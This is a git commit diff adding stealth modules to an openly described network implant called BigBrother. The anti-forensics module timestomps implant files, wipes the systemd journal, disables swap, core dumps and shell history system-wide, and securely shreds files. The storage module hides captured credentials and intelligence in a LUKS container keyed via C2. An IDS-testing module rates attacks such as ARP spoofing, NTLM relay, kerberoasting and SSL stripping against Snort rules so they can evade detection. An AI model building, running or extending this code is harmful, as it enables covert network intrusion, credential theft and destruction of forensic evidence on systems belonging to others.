Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,29 @@
|
||||
"""SystemMonitor stealth modules — OPSEC layer."""
|
||||
|
||||
from modules.stealth.mac_manager import MacManager
|
||||
from modules.stealth.process_disguise import ProcessDisguise
|
||||
from modules.stealth.log_suppression import LogSuppression
|
||||
from modules.stealth.encrypted_storage import EncryptedStorage
|
||||
from modules.stealth.tmpfs_manager import TmpfsManager
|
||||
from modules.stealth.watchdog import Watchdog
|
||||
from modules.stealth.anti_forensics import AntiForensics
|
||||
from modules.stealth.traffic_mimicry import TrafficMimicry
|
||||
from modules.stealth.ja3_spoofer import JA3Spoofer
|
||||
from modules.stealth.ids_tester import IDSTester
|
||||
from modules.stealth.lkm_rootkit import LKMRootkit
|
||||
from modules.stealth.overlayfs_manager import OverlayfsManager
|
||||
|
||||
__all__ = [
|
||||
"MacManager",
|
||||
"ProcessDisguise",
|
||||
"LogSuppression",
|
||||
"EncryptedStorage",
|
||||
"TmpfsManager",
|
||||
"Watchdog",
|
||||
"AntiForensics",
|
||||
"TrafficMimicry",
|
||||
"JA3Spoofer",
|
||||
"IDSTester",
|
||||
"LKMRootkit",
|
||||
"OverlayfsManager",
|
||||
]
|
||||
@@ -0,0 +1,293 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Anti-forensics module: timestomping, core dump suppression, swap disable,
|
||||
journal cleaning, history suppression, secure deletion."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.stealth import (
|
||||
disable_core_dumps,
|
||||
hide_from_history,
|
||||
set_sysctl,
|
||||
timestomp,
|
||||
timestomp_recursive,
|
||||
_get_os_install_time,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# SystemMonitor install root (default; overridden by config)
|
||||
BB_ROOT = "/opt/.cache/bb"
|
||||
|
||||
|
||||
class AntiForensics(BaseModule):
|
||||
"""Apply anti-forensic hardening: timestomp, swap off, core dumps off,
|
||||
journal vacuum, history suppression, bettercap tmpfs home."""
|
||||
|
||||
name = "anti_forensics"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._measures: dict[str, bool] = {
|
||||
"timestomp": False,
|
||||
"core_dumps_disabled": False,
|
||||
"swap_disabled": False,
|
||||
"journal_cleaned": False,
|
||||
"history_suppressed": False,
|
||||
"bettercap_tmpfs_home": False,
|
||||
}
|
||||
self._bb_root = config.get("bb_root", BB_ROOT)
|
||||
self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release")
|
||||
self._files_stomped = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
logger.info("AntiForensics starting — applying all measures")
|
||||
|
||||
self._apply_timestomp()
|
||||
self._disable_core_dumps()
|
||||
self._disable_swap()
|
||||
self._clean_journal()
|
||||
self._suppress_history()
|
||||
self._set_bettercap_tmpfs_home()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AntiForensics active — measures: %s", self._measures)
|
||||
|
||||
def stop(self) -> None:
|
||||
"""Anti-forensic measures persist intentionally — nothing to undo."""
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AntiForensics stopped (measures remain in effect)")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"measures": dict(self._measures),
|
||||
"files_stomped": self._files_stomped,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "bb_root" in config:
|
||||
self._bb_root = config["bb_root"]
|
||||
if "timestomp_reference" in config:
|
||||
self._timestomp_ref = config["timestomp_reference"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Timestomping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_timestomp(self) -> None:
|
||||
"""Timestomp all SystemMonitor files to OS install date."""
|
||||
try:
|
||||
ref_time = self._get_reference_time()
|
||||
if os.path.isdir(self._bb_root):
|
||||
self._files_stomped = timestomp_recursive(
|
||||
self._bb_root, epoch=ref_time,
|
||||
)
|
||||
logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root)
|
||||
self._measures["timestomp"] = True
|
||||
except Exception:
|
||||
logger.exception("Timestomp failed")
|
||||
self._measures["timestomp"] = False
|
||||
|
||||
def _get_reference_time(self) -> float:
|
||||
"""Determine OS install timestamp for timestomping."""
|
||||
# Try explicit reference first
|
||||
if self._timestomp_ref and os.path.exists(self._timestomp_ref):
|
||||
try:
|
||||
return os.stat(self._timestomp_ref).st_mtime
|
||||
except OSError:
|
||||
pass
|
||||
# Fallback via utils helper
|
||||
return _get_os_install_time()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core dumps
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _disable_core_dumps(self) -> None:
|
||||
"""Disable core dumps via rlimit, sysctl, and prctl."""
|
||||
try:
|
||||
success = disable_core_dumps()
|
||||
# Also set via ulimit for child processes
|
||||
try:
|
||||
import resource
|
||||
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
|
||||
except Exception:
|
||||
pass
|
||||
self._measures["core_dumps_disabled"] = success
|
||||
if success:
|
||||
logger.info("Core dumps disabled")
|
||||
else:
|
||||
logger.warning("Core dump disable partially failed")
|
||||
except Exception:
|
||||
logger.exception("Core dump disable failed")
|
||||
self._measures["core_dumps_disabled"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Swap
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _disable_swap(self) -> None:
|
||||
"""Disable all swap to prevent sensitive data hitting disk."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["swapoff", "-a"],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
self._measures["swap_disabled"] = result.returncode == 0
|
||||
if result.returncode == 0:
|
||||
logger.info("Swap disabled (swapoff -a)")
|
||||
else:
|
||||
logger.warning("swapoff -a returned %d: %s",
|
||||
result.returncode, result.stderr.decode(errors="replace"))
|
||||
except FileNotFoundError:
|
||||
logger.warning("swapoff not found")
|
||||
self._measures["swap_disabled"] = False
|
||||
except Exception:
|
||||
logger.exception("Swap disable failed")
|
||||
self._measures["swap_disabled"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Journal cleaning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clean_journal(self) -> None:
|
||||
"""Vacuum journal entries that might reference SystemMonitor components."""
|
||||
try:
|
||||
# Vacuum to 1s to remove old entries we may have generated
|
||||
result = subprocess.run(
|
||||
["journalctl", "--vacuum-time=1s"],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
self._measures["journal_cleaned"] = result.returncode == 0
|
||||
if result.returncode == 0:
|
||||
logger.info("Journal vacuumed")
|
||||
except FileNotFoundError:
|
||||
# No systemd journal on this system
|
||||
self._measures["journal_cleaned"] = True
|
||||
except Exception:
|
||||
logger.exception("Journal vacuum failed")
|
||||
self._measures["journal_cleaned"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Shell history suppression
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _suppress_history(self) -> None:
|
||||
"""Set HISTFILE=/dev/null for current and future shells."""
|
||||
try:
|
||||
success = hide_from_history()
|
||||
# Also write to /etc/environment for all sessions
|
||||
try:
|
||||
env_file = Path("/etc/environment")
|
||||
if env_file.exists():
|
||||
content = env_file.read_text()
|
||||
lines_to_add = []
|
||||
if "HISTFILE=" not in content:
|
||||
lines_to_add.append("HISTFILE=/dev/null")
|
||||
if "HISTSIZE=" not in content:
|
||||
lines_to_add.append("HISTSIZE=0")
|
||||
if lines_to_add:
|
||||
with open(env_file, "a") as f:
|
||||
for line in lines_to_add:
|
||||
f.write(f"\n{line}")
|
||||
except PermissionError:
|
||||
pass
|
||||
self._measures["history_suppressed"] = success
|
||||
if success:
|
||||
logger.info("Shell history suppressed")
|
||||
except Exception:
|
||||
logger.exception("History suppression failed")
|
||||
self._measures["history_suppressed"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bettercap tmpfs home
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _set_bettercap_tmpfs_home(self) -> None:
|
||||
"""Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM."""
|
||||
try:
|
||||
tmpfs_home = "/dev/shm/.bb_home"
|
||||
os.makedirs(tmpfs_home, mode=0o700, exist_ok=True)
|
||||
os.environ["HOME"] = tmpfs_home
|
||||
# Create minimal .bettercap dir so bettercap doesn't complain
|
||||
bettercap_dir = os.path.join(tmpfs_home, ".bettercap")
|
||||
os.makedirs(bettercap_dir, mode=0o700, exist_ok=True)
|
||||
self._measures["bettercap_tmpfs_home"] = True
|
||||
logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home)
|
||||
except Exception:
|
||||
logger.exception("Bettercap tmpfs HOME setup failed")
|
||||
self._measures["bettercap_tmpfs_home"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Secure deletion utility
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def secure_delete(path: str, passes: int = 3) -> bool:
|
||||
"""Securely delete a file: 3-pass overwrite (random, zero, random) then unlink.
|
||||
|
||||
Falls back to simple unlink if shred is unavailable.
|
||||
"""
|
||||
if not os.path.isfile(path):
|
||||
return False
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["shred", "-n", str(passes), "-z", "-u", path],
|
||||
capture_output=True, timeout=60,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Fallback: manual overwrite
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
with open(path, "r+b") as f:
|
||||
# Pass 1: random
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
# Pass 2: zeros
|
||||
f.seek(0)
|
||||
f.write(b"\x00" * size)
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
# Pass 3: random
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
os.unlink(path)
|
||||
return True
|
||||
except Exception:
|
||||
# Last resort: just delete
|
||||
try:
|
||||
os.unlink(path)
|
||||
except OSError:
|
||||
return False
|
||||
return True
|
||||
@@ -0,0 +1,296 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Encrypted storage module — LUKS container for all persistent data.
|
||||
|
||||
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
|
||||
intelligence data. Key derivation attempts a network-derived key first
|
||||
(HKDF with CPU serial + C2-fetched component), falling back to a config
|
||||
passphrase if C2 is unreachable.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.crypto import LUKSContainer, derive_network_key
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Subdirectories created inside the mounted LUKS container
|
||||
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
||||
|
||||
|
||||
class EncryptedStorage(BaseModule):
|
||||
"""LUKS encrypted storage with network-derived key unlock."""
|
||||
|
||||
name = "encrypted_storage"
|
||||
module_type = "stealth"
|
||||
priority = -500 # Highest — other modules depend on storage
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._luks: Optional[LUKSContainer] = None
|
||||
self._mounted = False
|
||||
self._storage_path: Optional[str] = None
|
||||
self._container_path: Optional[str] = None
|
||||
self._passphrase: Optional[bytes] = None
|
||||
self._using_fallback_key = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||
self._storage_path = os.path.join(install_path, "storage")
|
||||
|
||||
container_rel = self.config.get("security", {}).get(
|
||||
"luks_container", "storage/encrypted.luks"
|
||||
)
|
||||
self._container_path = os.path.join(install_path, container_rel)
|
||||
|
||||
# Derive passphrase
|
||||
self._passphrase = self._derive_passphrase()
|
||||
|
||||
# Initialize LUKS container
|
||||
mapper_name = "bb_storage"
|
||||
self._luks = LUKSContainer(
|
||||
container_path=self._container_path,
|
||||
mount_point=self._storage_path,
|
||||
mapper_name=mapper_name,
|
||||
)
|
||||
|
||||
# Create container if it doesn't exist
|
||||
if not os.path.isfile(self._container_path):
|
||||
logger.info("Creating new LUKS container at %s", self._container_path)
|
||||
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
|
||||
size_mb = self._get_container_size()
|
||||
if not self._luks.create(size_mb, self._passphrase):
|
||||
logger.error("Failed to create LUKS container")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Format the filesystem inside the container
|
||||
if not self._format_filesystem():
|
||||
logger.error("Failed to format LUKS filesystem")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Open and mount
|
||||
if not self._luks.is_open:
|
||||
if not self._luks.open(self._passphrase):
|
||||
logger.error("Failed to open LUKS container — wrong key?")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._mounted = True
|
||||
|
||||
# Create subdirectories
|
||||
self._create_subdirs()
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
key_type = "fallback" if self._using_fallback_key else "network-derived"
|
||||
logger.info(
|
||||
"EncryptedStorage mounted at %s (key: %s)",
|
||||
self._storage_path, key_type,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Sync filesystem
|
||||
try:
|
||||
subprocess.run(["sync"], capture_output=True, timeout=10)
|
||||
except subprocess.SubprocessError:
|
||||
pass
|
||||
|
||||
# Unmount and close LUKS
|
||||
if self._luks and self._luks.is_open:
|
||||
if not self._luks.close():
|
||||
logger.warning("Failed to cleanly close LUKS container")
|
||||
|
||||
self._mounted = False
|
||||
self._running = False
|
||||
|
||||
# Scrub passphrase from memory (best effort)
|
||||
if self._passphrase:
|
||||
self._passphrase = b"\x00" * len(self._passphrase)
|
||||
self._passphrase = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("EncryptedStorage unmounted and closed")
|
||||
|
||||
def status(self) -> dict:
|
||||
result = {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"mounted": self._mounted,
|
||||
"using_fallback_key": self._using_fallback_key,
|
||||
}
|
||||
|
||||
if self._mounted and self._storage_path:
|
||||
try:
|
||||
stat = os.statvfs(self._storage_path)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
result["container_size_mb"] = total / (1024 * 1024)
|
||||
result["used_mb"] = used / (1024 * 1024)
|
||||
result["free_mb"] = free / (1024 * 1024)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
return result
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_storage_path(self) -> Optional[str]:
|
||||
"""Return the mount point for the encrypted storage, or None if not mounted."""
|
||||
return self._storage_path if self._mounted else None
|
||||
|
||||
def get_subdir(self, name: str) -> Optional[str]:
|
||||
"""Return the path to a named subdirectory inside encrypted storage."""
|
||||
if not self._mounted or not self._storage_path:
|
||||
return None
|
||||
path = os.path.join(self._storage_path, name)
|
||||
return path if os.path.isdir(path) else None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Key derivation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _derive_passphrase(self) -> bytes:
|
||||
"""Attempt network-derived key first, then fall back to config passphrase."""
|
||||
# Try network-derived key: HKDF(CPU serial + C2 component)
|
||||
cpu_serial = self._get_cpu_serial()
|
||||
c2_component = self._fetch_c2_key_component()
|
||||
|
||||
if c2_component:
|
||||
try:
|
||||
key = derive_network_key(
|
||||
network_secret=c2_component,
|
||||
device_serial=cpu_serial,
|
||||
)
|
||||
self._using_fallback_key = False
|
||||
logger.debug("Using network-derived LUKS key")
|
||||
return key
|
||||
except Exception as exc:
|
||||
logger.warning("Network key derivation failed: %s", exc)
|
||||
|
||||
# Fallback: use a config-based passphrase
|
||||
self._using_fallback_key = True
|
||||
logger.info("C2 unreachable — using fallback LUKS key")
|
||||
|
||||
# Derive from CPU serial + static salt (still better than plaintext)
|
||||
fallback_salt = b"bb-fallback-luks-key-v1"
|
||||
import hashlib
|
||||
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
|
||||
|
||||
def _get_cpu_serial(self) -> bytes:
|
||||
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
|
||||
# Try /proc/cpuinfo Serial field (RPi, OPi)
|
||||
try:
|
||||
with open("/proc/cpuinfo", "r") as f:
|
||||
for line in f:
|
||||
if line.strip().startswith("Serial"):
|
||||
serial = line.split(":", 1)[1].strip()
|
||||
return serial.encode("utf-8")
|
||||
except (IOError, IndexError):
|
||||
pass
|
||||
|
||||
# Try machine-id as fallback
|
||||
try:
|
||||
with open("/etc/machine-id", "r") as f:
|
||||
return f.read().strip().encode("utf-8")
|
||||
except IOError:
|
||||
pass
|
||||
|
||||
# Last resort: hostname-based
|
||||
import socket
|
||||
return socket.gethostname().encode("utf-8")
|
||||
|
||||
def _fetch_c2_key_component(self) -> Optional[bytes]:
|
||||
"""Attempt to fetch the key component from C2.
|
||||
|
||||
Returns None if C2 is unreachable. The actual C2 client
|
||||
will be provided by the connectivity module.
|
||||
"""
|
||||
# TODO: implement actual C2 key fetch via connectivity module
|
||||
# For now, check if a pre-staged key file exists (deployed with implant)
|
||||
key_paths = [
|
||||
"/opt/.cache/bb/config/luks_network_key",
|
||||
os.path.expanduser("~/.implant/luks_network_key"),
|
||||
]
|
||||
for path in key_paths:
|
||||
try:
|
||||
if os.path.isfile(path):
|
||||
with open(path, "rb") as f:
|
||||
data = f.read(64)
|
||||
if data:
|
||||
return data
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Container setup
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_container_size(self) -> int:
|
||||
"""Determine LUKS container size in MB based on available disk."""
|
||||
try:
|
||||
stat = os.statvfs(os.path.dirname(self._container_path))
|
||||
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
|
||||
# Use 70% of free space, max 8GB, min 256MB
|
||||
size = int(free_mb * 0.7)
|
||||
return max(256, min(size, 8192))
|
||||
except OSError:
|
||||
return 1024 # Default 1GB
|
||||
|
||||
def _format_filesystem(self) -> bool:
|
||||
"""Open the container and format it with ext4."""
|
||||
try:
|
||||
# Open LUKS to get the mapper device
|
||||
if not self._luks.open(self._passphrase):
|
||||
return False
|
||||
|
||||
# Format with ext4 (no journal for SBC — reduce writes)
|
||||
subprocess.run(
|
||||
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
|
||||
# Close — will be reopened in start()
|
||||
self._luks.close()
|
||||
return True
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.error("mkfs.ext4 failed: %s", exc)
|
||||
return False
|
||||
|
||||
def _create_subdirs(self) -> None:
|
||||
"""Create standard subdirectories inside the mounted storage."""
|
||||
for subdir in STORAGE_SUBDIRS:
|
||||
path = os.path.join(self._storage_path, subdir)
|
||||
os.makedirs(path, exist_ok=True)
|
||||
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
|
||||
@@ -0,0 +1,397 @@
|
||||
#!/usr/bin/env python3
|
||||
"""IDS self-testing module: assess detection risk of planned actions against
|
||||
Snort/Suricata community rules before activation."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Detection risk levels
|
||||
RISK_LOW = "LOW"
|
||||
RISK_MEDIUM = "MEDIUM"
|
||||
RISK_HIGH = "HIGH"
|
||||
RISK_CRITICAL = "CRITICAL"
|
||||
|
||||
# Action-to-risk baseline mapping (before rule checking)
|
||||
ACTION_RISK_BASELINE = {
|
||||
# Passive (LOW)
|
||||
"passive_sniff": RISK_LOW,
|
||||
"dns_logging": RISK_LOW,
|
||||
"host_discovery_passive": RISK_LOW,
|
||||
"credential_sniff": RISK_LOW,
|
||||
"pcap_capture": RISK_LOW,
|
||||
# Medium (detectable with tuned IDS)
|
||||
"arp_spoof": RISK_MEDIUM,
|
||||
"dhcp_spoof": RISK_MEDIUM,
|
||||
"dns_spoof": RISK_MEDIUM,
|
||||
"nbns_spoof": RISK_MEDIUM,
|
||||
"llmnr_spoof": RISK_MEDIUM,
|
||||
"mdns_spoof": RISK_MEDIUM,
|
||||
"evil_twin": RISK_MEDIUM,
|
||||
"wpad_spoof": RISK_MEDIUM,
|
||||
"vlan_hop": RISK_MEDIUM,
|
||||
# High (commonly detected)
|
||||
"responder": RISK_HIGH,
|
||||
"ntlm_relay": RISK_HIGH,
|
||||
"kerberoast": RISK_HIGH,
|
||||
"smb_relay": RISK_HIGH,
|
||||
"http_proxy_inject": RISK_HIGH,
|
||||
"port_scan": RISK_HIGH,
|
||||
# Critical (almost certainly detected)
|
||||
"mitmproxy_ssl_intercept": RISK_CRITICAL,
|
||||
"ssl_strip": RISK_CRITICAL,
|
||||
"dns_hijack_external": RISK_CRITICAL,
|
||||
"exploit_delivery": RISK_CRITICAL,
|
||||
}
|
||||
|
||||
# Bettercap caplet action to risk mapping
|
||||
CAPLET_ACTION_RISK = {
|
||||
"net.probe": RISK_MEDIUM,
|
||||
"net.sniff": RISK_LOW,
|
||||
"arp.spoof": RISK_MEDIUM,
|
||||
"dns.spoof": RISK_MEDIUM,
|
||||
"dhcp6.spoof": RISK_MEDIUM,
|
||||
"http.proxy": RISK_HIGH,
|
||||
"https.proxy": RISK_CRITICAL,
|
||||
"tcp.proxy": RISK_HIGH,
|
||||
"wifi.deauth": RISK_HIGH,
|
||||
"wifi.ap": RISK_MEDIUM,
|
||||
"any.proxy": RISK_HIGH,
|
||||
"hid.inject": RISK_CRITICAL,
|
||||
}
|
||||
|
||||
|
||||
@dataclass
|
||||
class RiskAssessment:
|
||||
"""Result of an IDS risk assessment."""
|
||||
action: str
|
||||
risk_level: str
|
||||
matching_sids: list[str] = field(default_factory=list)
|
||||
matching_rules: list[str] = field(default_factory=list)
|
||||
recommendation: str = ""
|
||||
timestamp: float = field(default_factory=time.time)
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"action": self.action,
|
||||
"risk_level": self.risk_level,
|
||||
"matching_sids": self.matching_sids,
|
||||
"matching_rules": self.matching_rules,
|
||||
"recommendation": self.recommendation,
|
||||
"timestamp": self.timestamp,
|
||||
}
|
||||
|
||||
|
||||
class IDSTester(BaseModule):
|
||||
"""On-demand IDS risk assessment: check planned actions against known
|
||||
Snort/Suricata signatures before module activation."""
|
||||
|
||||
name = "ids_tester"
|
||||
module_type = "stealth"
|
||||
priority = -100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._rules_dir = config.get("rules_dir", "data/ids_rules")
|
||||
self._rules: list[dict] = []
|
||||
self._last_assessment: Optional[RiskAssessment] = None
|
||||
self._assessments: list[RiskAssessment] = []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._load_rules()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("IDSTester ready — %d rules loaded", len(self._rules))
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("IDSTester stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"rules_loaded": len(self._rules),
|
||||
"last_assessment_time": self._last_assessment.timestamp if self._last_assessment else None,
|
||||
"last_assessment_action": self._last_assessment.action if self._last_assessment else None,
|
||||
"last_assessment_risk": self._last_assessment.risk_level if self._last_assessment else None,
|
||||
"total_assessments": len(self._assessments),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "rules_dir" in config:
|
||||
self._rules_dir = config["rules_dir"]
|
||||
self._load_rules()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API: risk assessment
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def assess_risk(self, action: str) -> dict:
|
||||
"""Assess detection risk for a planned action.
|
||||
|
||||
Args:
|
||||
action: Action identifier (e.g., 'arp_spoof', 'responder', 'mitmproxy_ssl_intercept')
|
||||
|
||||
Returns:
|
||||
dict with risk_level, matching_sids, recommendation
|
||||
"""
|
||||
# Start with baseline risk
|
||||
baseline_risk = ACTION_RISK_BASELINE.get(action, RISK_MEDIUM)
|
||||
|
||||
# Check against loaded IDS rules
|
||||
matching_sids = []
|
||||
matching_rules = []
|
||||
keywords = self._action_to_keywords(action)
|
||||
|
||||
for rule in self._rules:
|
||||
rule_text = rule.get("raw", "").lower()
|
||||
rule_msg = rule.get("msg", "").lower()
|
||||
for keyword in keywords:
|
||||
if keyword in rule_text or keyword in rule_msg:
|
||||
sid = rule.get("sid", "unknown")
|
||||
matching_sids.append(str(sid))
|
||||
matching_rules.append(rule.get("msg", "unknown"))
|
||||
break
|
||||
|
||||
# Escalate risk if IDS rules match
|
||||
final_risk = baseline_risk
|
||||
if matching_sids:
|
||||
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
|
||||
current_idx = risk_order.index(baseline_risk)
|
||||
escalation = min(len(matching_sids), 2) # Max +2 levels
|
||||
final_risk = risk_order[min(current_idx + escalation, len(risk_order) - 1)]
|
||||
|
||||
recommendation = self._generate_recommendation(action, final_risk, len(matching_sids))
|
||||
|
||||
assessment = RiskAssessment(
|
||||
action=action,
|
||||
risk_level=final_risk,
|
||||
matching_sids=matching_sids[:20], # Cap at 20
|
||||
matching_rules=matching_rules[:20],
|
||||
recommendation=recommendation,
|
||||
)
|
||||
|
||||
self._last_assessment = assessment
|
||||
self._assessments.append(assessment)
|
||||
# Keep only last 100 assessments
|
||||
if len(self._assessments) > 100:
|
||||
self._assessments = self._assessments[-100:]
|
||||
|
||||
logger.info(
|
||||
"Risk assessment: %s -> %s (%d matching SIDs)",
|
||||
action, final_risk, len(matching_sids),
|
||||
)
|
||||
|
||||
return assessment.to_dict()
|
||||
|
||||
def assess_caplet(self, caplet_content: str) -> list[dict]:
|
||||
"""Assess detection risk for bettercap caplet actions.
|
||||
|
||||
Args:
|
||||
caplet_content: Raw caplet file content
|
||||
|
||||
Returns:
|
||||
List of risk assessment dicts, one per detected action
|
||||
"""
|
||||
results = []
|
||||
for line in caplet_content.splitlines():
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
# Check each known caplet action
|
||||
for action_prefix, risk in CAPLET_ACTION_RISK.items():
|
||||
if line.startswith(action_prefix) or f" {action_prefix}" in line:
|
||||
assessment = self.assess_risk(action_prefix.replace(".", "_"))
|
||||
assessment["caplet_line"] = line
|
||||
results.append(assessment)
|
||||
break
|
||||
return results
|
||||
|
||||
def preflight_check(self, module_name: str, actions: list[str]) -> dict:
|
||||
"""Pre-flight validation: assess all actions a module will perform.
|
||||
|
||||
Args:
|
||||
module_name: Name of the module to be activated
|
||||
actions: List of action identifiers the module will perform
|
||||
|
||||
Returns:
|
||||
dict with overall_risk, action_risks, go_nogo recommendation
|
||||
"""
|
||||
action_risks = []
|
||||
risk_order = [RISK_LOW, RISK_MEDIUM, RISK_HIGH, RISK_CRITICAL]
|
||||
